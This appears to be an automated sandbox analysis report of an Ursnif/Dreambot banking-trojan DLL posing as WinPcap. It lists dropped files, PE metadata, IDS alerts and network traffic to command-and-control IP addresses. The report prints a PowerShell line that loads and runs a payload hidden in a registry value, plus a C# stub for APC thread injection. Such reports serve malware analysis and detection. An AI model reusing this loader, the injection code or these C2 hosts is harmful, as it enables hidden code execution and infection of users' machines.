                                      C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.cmdline

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
                                      Category:dropped
                                      Size (bytes):375
                                      Entropy (8bit):5.160202297405406
                                      Encrypted:false
                                      SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2N723fE0XWXy+zxs7+AEszIN723fE0XWXY:p37Lvkmb6K2a2C+WZETa2I
                                      MD5:CE918DF62ABDB89D5CC71F5C991D2EA2
                                      SHA1:1315A8E1C4D6149F2A8AE3795694E122699A00DF
                                      SHA-256:53C394ECAFE2D962CFC5EB68F80AD777BBC58DD685A1A1197CBFC2295320E6A3
                                      SHA-512:1E5F0331DB6B46D0D5D977DC18871DDB6E393A39D4516CF70B4EF0D91655A6E8478AA0A6DC1724F6EB60A3E8605EF962F9756E2979D1C6F1BBC3E492A27DB0B3
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.0.cs"

                                      C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.dll

                                      Download File
                                      Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                      Category:dropped
                                      Size (bytes):3584
                                      Entropy (8bit):2.645075663397193
                                      Encrypted:false
                                      SSDEEP:24:etGSUMWWOJy853Ek0s2E7OgtodWQzbtkZfzOw4OWI+ycuZhNDakSFPNnq:6Gvz5UkGE7vtyWQzqJzO11ulDa3fq
                                      MD5:FBFB11C197F704C2AECFD81DDCCC36FC
                                      SHA1:8BB0A3C5C7D624A701A7F4671790E7AFA70605B5
                                      SHA-256:37A1C40DF0757252DB4D88E0CDBDAEFD9B3DE4C926BA242C251C3EE03B939F98
                                      SHA-512:45098F014EF9E0A415721D1CC1EE9BECC9A7A8D441813D0C8A579477E7D7C95ACD92D177A14D5695620900C4531867A4785C41A5F1E4794322705A7F019B7996
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...&7cb...........!.................$... ...@....... ....................................@..................................#..S....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................$......H.......X ..p.............................................................(....*BSJB............v4.0.30319......l...H...#~......P...#Strings............#US.........#GUID.......T...#Blob...........G.........%3............................................................6./...............1.......................".............. =............ O............ W.....P ......d.........j.....v...........................d. ...d...!.d.%...d.......*.....3.D.....=.......O.......W...........

                                      C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.out

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
                                      Category:modified
                                      Size (bytes):872
                                      Entropy (8bit):5.283470903766481
                                      Encrypted:false
                                      SSDEEP:24:AId3ka6K2aLETa2KaM5DqBVKVrdFAMBJTH:Akka6CLE+2KxDcVKdBJj
                                      MD5:E56D907A0843A044EBBB9C1DC9C68D02
                                      SHA1:63E78F30089144F3668FFC0EF3B4C69996A60A1E
                                      SHA-256:9C05541F59DAB210B236F438E90BDA13B9E850E066D651F0C7617F7117EFCCAC
                                      SHA-512:85F32656A58D228DE6606476539300877059AC13FDBEAD9F712E77DBD954B6E17286B3528552B3D5A5F3E3F14FDB0EF388BAB89906C9A5004D13C88D09E12546
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.0.cs"......Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                      C:\Users\user\AppData\Local\Temp\vqkyohgm\CSCBF795D6899604BF9A48E638AB671C4FD.TMP

                                      Download File
                                      Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                      File Type:MSVC .res
                                      Category:dropped
                                      Size (bytes):652
                                      Entropy (8bit):3.113541146680034
                                      Encrypted:false
                                      SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryXuak7YnqqavPN5Dlq5J:+RI+ycuZhNluakSavPNnqX
                                      MD5:179D2FB14708C56504936A7F270F16A5
                                      SHA1:6B21198151296A635D517234489CDB53F47D7DCA
                                      SHA-256:0FC73A0C9954D60293C9D5AD16836908E19FA8B2CEA8E1C1F29AD0836A65005A
                                      SHA-512:FAC8EBB22B7D59F2B5E73C97401F483ECE58AD98C05FA0613B1BC1CB29D794CE01C88569A58200D75BDD1016BACA33FF02154BD5A3862B4E904C94EEAA0E638F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...v.q.k.y.o.h.g.m...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...v.q.k.y.o.h.g.m...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                                      C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.0.cs

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:UTF-8 Unicode (with BOM) text
                                      Category:dropped
                                      Size (bytes):411
                                      Entropy (8bit):5.082169696837192
                                      Encrypted:false
                                      SSDEEP:6:V/DsYLDS81zuJEPWmMRSR7a1TriuSRa+rVSSRnA/fewoZQy:V/DTLDfu+Pdx9rV5nA/PwQy
                                      MD5:248E15CD19191D4333303E0E1F8E9A70
                                      SHA1:9896EF9708F81AE4E3F2CA86329AD6BD82C700C3
                                      SHA-256:0C6C066612882CD36BB425C21983258A23536FFA9E444FE57056C2D95D8B32DF
                                      SHA-512:8975F34DBF35E597A91A3F0F75B6A7D074B68A5D597BC3F1CC797EF2C90E4D6F25F9F132A636DD9CA302A2683D26794E0275C6ED0AC4CC8951B07F65C5642FD1
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.using System;.using System.Runtime.InteropServices;..namespace W32.{. public class yifpgxqqbj. {. [DllImport("kernel32")].public static extern uint QueueUserAPC(IntPtr fsk,IntPtr kjxclvenfq,IntPtr wvolbwmjwax);.[DllImport("kernel32")].public static extern IntPtr GetCurrentThreadId();.[DllImport("kernel32")].public static extern IntPtr OpenThread(uint jbsq,uint eftlv,IntPtr hpbmctchgk);.. }..}.

                                      C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.cmdline

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
                                      Category:dropped
                                      Size (bytes):375
                                      Entropy (8bit):5.27398890414163
                                      Encrypted:false
                                      SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2N723ff0zxs7+AEszIN723fpH:p37Lvkmb6K2a30WZETah
                                      MD5:05E0F638AA347956324EC08422191BAF
                                      SHA1:D0CEFB0D69AB0C7DB8D6A071DA0CBF97D297579A
                                      SHA-256:2991E6F7EA4DDB561CCF0E04682E956BDD441667A8285E55069B36003A7889C0
                                      SHA-512:8F46AC8569CEDC560921661F75A32EDD0CC38DBD2982F28379DAF470BB8AEF42F2C7C6AE41ED40DC369708DE6C01FCC7C1F634086B5464C3DE774D9FC6DF91A9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.0.cs"

                                      C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.dll

                                      Download File
                                      Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                      Category:dropped
                                      Size (bytes):3584
                                      Entropy (8bit):2.639125264073665
                                      Encrypted:false
                                      SSDEEP:24:etGSVE8+mUE7R853RY0kCGG+4I4tkZfTmhuDZ0WI+ycuZhNluakSavPNnq:6gXE7S50XJTmhYZX1ulga3sq
                                      MD5:E23F48E1F885AC248DE6BE7648347DDC
                                      SHA1:8B4EA77FDB6E918D2A7FB7B0E999F679F6F57163
                                      SHA-256:478C4FB15A90A3B43445D75BF2AC896FB4CD82D2F4274B4B9614CEB194789AA7
                                      SHA-512:CAF02F3A52F0ACACD03C4CB76128746ECA15FE65D754C5B2957AF1A15C4B180F9F67016991EEDF26ED9AA1BF666D766C8C9326DD34D6D39E3D03F344059FF7F9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... 7cb...........!.................$... ...@....... ....................................@..................................#..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ..d.............................................................(....*BSJB............v4.0.30319......l...H...#~......D...#Strings............#US.........#GUID.......T...#Blob...........G.........%3............................................................6./...............%.......................".............. =............ J............ ].....P ......h.........n.....r.....}.....................h. ...h...!.h.%...h.......*.....3.8.....=.......J.......]...........

                                      C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.out

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
                                      Category:modified
                                      Size (bytes):872
                                      Entropy (8bit):5.325856264389758
                                      Encrypted:false
                                      SSDEEP:24:AId3ka6K2a3VETaEKaM5DqBVKVrdFAMBJTH:Akka6C3VE+EKxDcVKdBJj
                                      MD5:6F7E4C740D4B09EF4BD589375B95A314
                                      SHA1:FB7014B62E79973C9A985F595A83F40DB9BF6263
                                      SHA-256:FF180A76D440631C714B4C9505C5DC00071CEBFD5532E8EA7DE48762ACE2E716
                                      SHA-512:1BD43D8ECC2D1EC04CD4A8A2A451B369621793C7EC7EA21C804821E93723A4B91FE973B1043D106765905BA25ADB26BF10EEA2171DC17DBF13189A4B5F52CF01
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.0.cs"......Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                      C:\Users\user\Documents\20220422\PowerShell_transcript.367706.vGPyFZhc.20220422161533.txt

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):1349
                                      Entropy (8bit):5.368936022103402
                                      Encrypted:false
                                      SSDEEP:24:BxSAMxGy7vBVLJx2DOXUWORALCHU4qWz1tHjeTKKjX4CIym1ZJXUxmRALCHU4wpK:BZG9vTLJoOuRnU4tz1tqDYB1ZYmRnU4x
                                      MD5:055658A63CDA19CF4E0CC61868ACD418
                                      SHA1:CF15704B67F261D4BBF1F482245A02CF8E441845
                                      SHA-256:6C3FC1486D9E2DF6B2F11C211B8F51875D7EEFD3DD869AE1C1695A0726F653A1
                                      SHA-512:E5273E2C44AD3D77A1192B313CD3447996DB86BD16B16D66B49D991FE3BEEBEEBA37C67D749D8227A4C02D4827CDE3A91BCAAD740D71CC4FE7FE15DF84CB406A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.**********************..Windows PowerShell transcript start..Start time: 20220422161534..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 367706 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E).UrlsReturn))..Process ID: 6856..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..**********************..**********************..Command start time: 20220422161534..**********************..PS>new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.

                                      \Device\ConDrv

                                      Download File
                                      Process:C:\Windows\System32\nslookup.exe
                                      File Type:ASCII text, with CRLF, CR line terminators
                                      Category:dropped
                                      Size (bytes):28
                                      Entropy (8bit):4.039148671903071
                                      Encrypted:false
                                      SSDEEP:3:U+6QlBxAN:U+7BW
                                      MD5:D796BA3AE0C072AA0E189083C7E8C308
                                      SHA1:ABB1B68758B9C2BF43018A4AEAE2F2E72B626482
                                      SHA-256:EF17537B7CAAB3B16493F11A099F3192D5DCD911C1E8DF0F68FE4AB6531FB43E
                                      SHA-512:BF497C5ACF74DE2446834E93900E92EC021FC03A7F1D3BF7453024266349CCE39C5193E64ACBBD41E3A037473A9DB6B2499540304EAD51E002EF3B747748BF36
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Non-authoritative answer:...

                                      Static File Info

                                      General

                                      File type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                      Entropy (8bit):6.110624325496081
                                      TrID:
                                      • Win32 Dynamic Link Library (generic) (1002004/3) 99.60%
                                      • Generic Win/DOS Executable (2004/3) 0.20%
                                      • DOS Executable Generic (2002/1) 0.20%
                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                      File name:d6YCUW421p.dll
                                      File size:640155
                                      MD5:c544f66e442fbb1864b5abc8c919ef14
                                      SHA1:7648765f0e8c7247187592be8ffc15e862833b6b
                                      SHA256:5747f4ec2678631d2b8b001a4e1aeec2a74788cdc1381fcbb36b8f5f699246a6
                                      SHA512:1e9a290df7c404d6c07ae4c01db7b79dad922420f13d29429306421241c4d97e08ff35c13a8748a13ba58801a6d3c97a771dce523a4f1a103e4e3acd8111830b
                                      SSDEEP:12288:+w1lEKREbddtOYRbHzcPwka1dCjc3N8ZY:+w1lEKOpuYxiwkkgjAN8ZY
                                      TLSH:3CD4BD1A029B2102EBB6CE78A751636C55174CE09B01E2CFC9190DA395E34FBF4FA5ED
                                      File Content Preview:MZ......................@...................................P...........!..L.!This program cannot be run in DOS mode....$........9.(.X.{.X.{.X.{...{0X.{...{.Y.{G.-{.X.{~.({.Y.{..M{.X.{K..z.X.{..r{}Y.{.X.{PX.{K..z.Y.{.!8{.Y.{Rich.X.{.......................

                                      File Icon

                                      Icon Hash:74f0e4ecccdce0e4

                                      Static PE Info

                                      General

                                      Entrypoint:0x401023
                                      Entrypoint Section:.text
                                      Digitally signed:true
                                      Imagebase:0x400000
                                      Subsystem:windows gui
                                      Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                                      DLL Characteristics:TERMINAL_SERVER_AWARE
                                      Time Stamp:0x3F4B4692 [Tue Aug 26 11:37:54 2003 UTC]
                                      TLS Callbacks:
                                      CLR (.Net) Version:
                                      OS Version Major:5
                                      OS Version Minor:0
                                      File Version Major:5
                                      File Version Minor:0
                                      Subsystem Version Major:5
                                      Subsystem Version Minor:0
                                      Import Hash:fd1c62e6f93e304a27347077f6d2b44c

                                      Authenticode Signature

                                      Signature Valid:
                                      Signature Issuer:
                                      Signature Validation Error:
                                      Error Number:
                                      Not Before, Not After
                                        Subject Chain
                                          Version:
                                          Thumbprint MD5:
                                          Thumbprint SHA-1:
                                          Thumbprint SHA-256:
                                          Serial:

                                          Entrypoint Preview

                                          Instruction
                                          jmp 00007FBBE0D8162Dh
                                          jmp 00007FBBE0DB1D98h
                                          jmp 00007FBBE0D81313h
                                          jmp 00007FBBE0D80FCEh
                                          jmp 00007FBBE0D813E9h
                                          jmp 00007FBBE0D80E24h
                                          jmp 00007FBBE0DB720Fh
                                          jmp 00007FBBE0D80F2Ah
                                          jmp 00007FBBE0DAA585h
                                          jmp 00007FBBE0DBA440h
                                          jmp 00007FBBE0DB60ABh
                                          jmp 00007FBBE0DBB606h
                                          jmp 00007FBBE0D80EA1h
                                          jmp 00007FBBE0DAB6BCh
                                          jmp 00007FBBE0DBDCD7h
                                          jmp 00007FBBE0DB4F82h
                                          jmp 00007FBBE0DAC73Dh
                                          jmp 00007FBBE0D81358h
                                          jmp 00007FBBE0DC0C73h
                                          jmp 00007FBBE0D8107Eh
                                          jmp 00007FBBE0DBC839h
                                          jmp 00007FBBE0DB2E64h
                                          jmp 00007FBBE0DAD74Fh
                                          jmp 00007FBBE0DBC65Ah
                                          jmp 00007FBBE0D812F5h
                                          jmp 00007FBBE0DB8230h
                                          jmp 00007FBBE0DAFC8Bh
                                          jmp 00007FBBE0DBFD96h
                                          jmp 00007FBBE0DAEB51h
                                          jmp 00007FBBE0D812ECh
                                          jmp 00007FBBE0D80E67h
                                          jmp 00007FBBE0DB9372h
                                          jmp 00007FBBE0DBECEDh
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3
                                          int3

                                          Rich Headers

                                          Programming Language:
                                          • [ C ] VS2013 build 21005
                                          • [RES] VS2015 build 23026
                                          • [LNK] VS2013 UPD4 build 31101
                                          • [C++] VS2010 SP1 build 40219
                                          • [IMP] VS2012 UPD2 build 60315
                                          • [RES] VS2008 build 21022
                                          • [EXP] VS2015 UPD3.1 build 24215
                                          • [ C ] VS2012 UPD1 build 51106
                                          • [C++] VS2015 UPD3.1 build 24215

                                          Data Directories

                                          NameVirtual AddressVirtual Size Is in Section
                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_IMPORT0x970000xc8.idata
                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0x980000x703.rsrc
                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x10000x1.text
                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x990000x46b8.reloc
                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x410010x38.rdata
                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_IAT0x9731c0x254.idata
                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                          Sections

                                          NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                          .text0x10000x3f1700x40000False0.371898651123data4.44682748237IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                          .rdata0x410000x4001b0x41000False0.805322265625data7.15716511851IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                          .data0x820000x149570x12000False0.179578993056data5.40188601701IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                          .idata0x970000xadd0x1000False0.217041015625data2.64887682924IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                          .rsrc0x980000x7030x1000False0.1220703125data1.10395588442IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                          .reloc0x990000x53a50x6000False0.152099609375data5.13419580461IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                          Resources

                                          NameRVASizeTypeLanguageCountry
                                          RT_VERSION0x981700x3d0data

                                          Imports

                                          DLLImport
                                          WINSPOOL.DRVGetPrinterDriverDirectoryA, GetPrinterDataExW, DeletePrinterConnectionW, FindFirstPrinterChangeNotification, FindClosePrinterChangeNotification
                                          msvcrt.dlltoupper
                                          USER32.dllDestroyIcon, GetWindowTextA, DrawFrameControl, LoadAcceleratorsA, GetTitleBarInfo, GetMessageExtraInfo, DrawTextW
                                          OLEAUT32.dllLHashValOfNameSysA
                                          SHELL32.dllFindExecutableW
                                          KERNEL32.dlllstrlenW, GetBinaryTypeW, GetModuleFileNameW, GetModuleHandleW, GetLastError, GetNLSVersion, GetSystemWindowsDirectoryA, lstrcpynA, GetCurrentThread, GetDefaultCommConfigW, ExitProcess, GetSystemDirectoryW, GetCommandLineA, FindNextVolumeMountPointW, DeleteCriticalSection, LockResource, GetCurrentDirectoryA, GetDefaultCommConfigA
                                          Secur32.dllInitializeSecurityContextW
                                          ADVAPI32.dllGetOldestEventLogRecord, FindFirstFreeAce, GetLengthSid, EnumServicesStatusW, RegOpenKeyA, GetPrivateObjectSecurity, GetSecurityDescriptorOwner
                                          GDI32.dllGetCurrentPositionEx, GetBrushOrgEx, GetTextExtentExPointW

                                          Version Infos

                                          DescriptionData
                                          LegalCopyrightCopyright 2005-2007 CACE Technologies. Copyright 2003-2005 NetGroup, Politecnico di Torino.
                                          InternalNamerpcapd
                                          FileVersion4.0.0.1040
                                          CompanyNameCACE Technologies
                                          LegalTrademarks
                                          ProductNameWinPcap
                                          ProductVersion4.0.0.1040
                                          FileDescriptionRemote Packet Capture Daemon
                                          Build Description
                                          OriginalFilenamerpcapd.exe
                                          Translation0x0000 0x04b0

                                          Network Behavior

                                          Snort IDS Alerts

                                          TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                          04/22/22-16:15:22.811303 04/22/22-16:15:22.811303TCP2033204ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)4975080192.168.2.6146.70.35.138
                                          04/22/22-16:17:42.488376 04/22/22-16:17:42.488376TCP2031743ET TROJAN Ursnif Payload Request (cook32.rar)4984280192.168.2.6193.56.146.148
                                          04/22/22-16:18:43.523910 04/22/22-16:18:43.523910TCP2823044ETPRO TROJAN W32.Dreambot Checkin4984880192.168.2.667.43.234.37
                                          04/22/22-16:15:01.518080 04/22/22-16:15:01.518080TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4974280192.168.2.613.107.42.16
                                          04/22/22-16:15:21.968987 04/22/22-16:15:21.968987TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4975080192.168.2.6146.70.35.138
                                          04/22/22-16:17:43.570159 04/22/22-16:17:43.570159TCP2823044ETPRO TROJAN W32.Dreambot Checkin4984480192.168.2.667.43.234.14
                                          04/22/22-16:18:43.374523 04/22/22-16:18:43.374523TCP2823044ETPRO TROJAN W32.Dreambot Checkin4984780192.168.2.613.107.42.16
                                          04/22/22-16:17:42.801276 04/22/22-16:17:42.801276TCP2031744ET TROJAN Ursnif Payload Request (cook64.rar)4984280192.168.2.6193.56.146.148
                                          04/22/22-16:15:24.287033 04/22/22-16:15:24.287033TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4975080192.168.2.6146.70.35.138
                                          04/22/22-16:17:54.570587 04/22/22-16:17:54.570587TCP2831962ETPRO TROJAN Ursnif Variant CnC Beacon 8 M14984680192.168.2.667.43.234.14
                                          04/22/22-16:17:43.262885 04/22/22-16:17:43.262885TCP2823044ETPRO TROJAN W32.Dreambot Checkin4984380192.168.2.613.107.42.16

                                          Network Port Distribution

                                          TCP Packets

                                          TimestampSource PortDest PortSource IPDest IP
                                          Apr 22, 2022 16:15:21.941466093 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:21.965562105 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:21.965738058 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:21.968986988 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:21.992867947 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.344774961 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.344825983 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.344849110 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.344877958 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.344908953 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.344930887 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.344960928 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.344995022 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.345015049 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.345053911 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.345062017 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.345081091 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.345084906 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.345104933 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.345135927 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.345160007 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.345185995 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.345191956 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.345194101 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.346399069 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.384258986 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384305000 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384320974 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384332895 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384351969 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384366035 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384509087 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384516001 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.384529114 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384537935 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.384541988 CEST8049750146.70.35.138192.168.2.6
